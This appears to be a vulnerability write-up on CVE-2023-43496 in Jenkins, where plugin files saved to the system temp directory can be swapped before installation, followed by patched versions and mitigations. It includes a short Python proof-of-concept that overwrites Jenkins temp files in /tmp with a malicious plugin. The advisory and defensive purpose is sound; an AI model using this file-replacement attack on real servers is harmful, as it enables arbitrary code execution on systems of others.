The latest Jenkins security vulnerability (CVE-2023-43496) has been discovered in version 2.423 and earlier, as well as in LTS version 2.414.1 and earlier. The vulnerability is linked to the plugin installation feature from a URL, potentially exposing the system to a risk of arbitrary code execution. In this post, we will discuss the details of this vulnerability, its exploitation, and the necessary preventive measures.


Jenkins creates temporary files in the system's temporary directory when installing plugins from a URL. By default, these files have the default permissions for newly created files. The problem lies in the fact that attackers with access to the system temporary directory can potentially replace the file before it is installed in Jenkins. As a result, they can execute arbitrary code.

Original References

- Jenkins Security Advisory:
- CVE-2023-43496:


An attacker who has gained access to Jenkins' system temporary directory can replace the plugin file before it is installed. By replacing the file with a malicious one, the attacker can exploit this vulnerability to execute arbitrary code. For instance, here's a simple Python code snippet that demonstrates the replacement of the temporary file:

import os
import shutil

# The location of the system temporary directory
temp_dir = "/tmp"

# The path of the malicious plugin file
malicious_plugin = "/path/to/malicious/plugin.hpi"

# Find the temporary plugin file in the temporary directory
for filename in os.listdir(temp_dir):
    if filename.startswith("jenkins"):
        temp_plugin_file = os.path.join(temp_dir, filename)

# Replace the temporary file with the malicious plugin
shutil.copyfile(malicious_plugin, temp_plugin_file)

Preventive Measures

To prevent attackers from exploiting this vulnerability, Jenkins has released updates for both affected versions. Jenkins administrators should upgrade their instances to the latest versions, which contain the necessary security fixes:

- Jenkins 2.424:
- Jenkins LTS 2.414.2:

Additionally, as a best practice, make sure to restrict access to the system temporary directory and ensure that only trusted users and processes are allowed to access it. This will help limit the potential attack surface.


CVE-2023-43496 is a noteworthy security vulnerability in Jenkins, as it exposes the system to arbitrary code execution when installing plugins from a URL. Administrators should update their Jenkins instances to the latest versions, restrict access to the system temporary directory, and stay informed about any new security updates or advisories.


Published on: 09/20/2023 17:15:11 UTC
Last modified on: 09/23/2023 03:45:08 UTC